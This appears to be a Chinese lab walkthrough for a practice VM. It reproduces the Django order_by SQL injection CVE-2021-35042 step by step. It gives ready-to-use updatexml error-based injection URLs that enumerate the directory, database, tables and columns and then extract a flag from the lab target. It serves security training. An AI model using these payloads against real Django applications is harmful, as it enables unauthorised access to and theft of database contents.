https://pan.baidu.com/s/1M-kjs2qJG4nBkXAQE8CK7g
提取码: um3q
下载好靶场后打开虚拟机,左上角
然后选中.ovf后缀的文件
选择好存放虚拟机的路径
点击导入,等待虚拟机ok就可以使用靶机做实训了
我们这里以CVE-2021-35042为例子带大家操作一下
开启靶机后登录我们我们没有特别声明的靶机
账号都是root,密码都是书中提供的
进入靶机后输入
ifconfig
可以看到ip地址为192.168.8.96
然后我们就可以跟着wp去实际操作漏洞训练了。
输入192.168.8.96:8000
Django SQL注入(CVE-2021-35042)
实验简介
Django是一个开放源代码的Web应用框架,由Python写成。采用了MVC的框架模式,即模型M,视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS(内容管理系统)软件。
Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,操作者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。
影响版本
Django 3.2
Django 3.1
本实验需要大家提前了解一下SQL注入的基本流程,与XPATH报错注入的基本原理。
实验目的
- 复现CVE-2021-35042
- 了解CVE-2021-35042漏洞
- 了解Django的SQL注入漏洞
实验流程
- 找到存在SQL注入的漏洞点
- 利用SQL注入漏洞读取数据库信息
实验环境
靶机地址:http://10.0.0.213:8000/
注:以上地址仅供参考,请以真实实验环境为准
实验工具
- 浏览器
实验步骤
0x01 准备实验平台
1. 登录平台,进入模块
2. 获得靶机的地址
测试分配到的靶机地址为10.0.0.213,目标端口为8000端口
3. 登录靶机
打开靶机即可开启环境,环境开启后,直接就可以访问,http://靶机ip:8000端口即可看到实验环境,如图表示环境正常。
0x02 漏洞复现
1.转到列表视图
根据暴露出的路由信息,我们尝试进入vuln此路径下查找信息存在此漏洞的相关信息
http://10.0.0.213:8000/vuln/
我们查看vuln视图下的内容,如下图所示,是按照id值顺序排序的,即很有可能调用了QuerySet.order_by()这个存在漏洞的函数
2.验证漏洞
添加order=-id到 GET 参数,我们就发现倒序排序,说明传入的-id这个参数真实的起到了作用
http://10.0.0.213:8000/vuln/?order=-id
发现数据按照id递减排序
3.查询目录信息
我们插入sql语句,因为是报错注入,所以我们使用updatexml函数,我们想要插入的sql语句填写在concat(0x7e,())后面的括号插入语句就好,进行报错查询,select @@basedir的用处就是查询所在目录的位置
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23
http://10.0.0.213:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23
我们得知所在目录为/usr/
4.查询数据库名
接下来开始sql注入的常规流程,从数据库名到数据表,再到数据字段,最后拖出数据,即我们设置的flag
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23
http://10.0.0.213:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23
5.查询数据表名
按照sql注入的流程,已经得知数据库名为cve,那么我们接下来查询得到cve数据库下的数据表,来获得我们想要得到的信息
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='cve')),1)%23
http://10.0.0.213:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='cve')),1)%23
6.查询字段名
已经知道了数据表的名字,接下来我们就可以查询,该表下数据的字段名字,为最后一步拿到flag做准备
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag')),1)%23
http://10.0.0.213:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag')),1)%23
7.查询flag值,得到flag
已经知道了字段名,那么我们就可以直接使用group_concat来查询得到我们想要得到的flag数据
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select group_concat(flag_value) from flag)),1)%23
http://10.0.0.213:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select group_concat(flag_value) from flag)),1)%23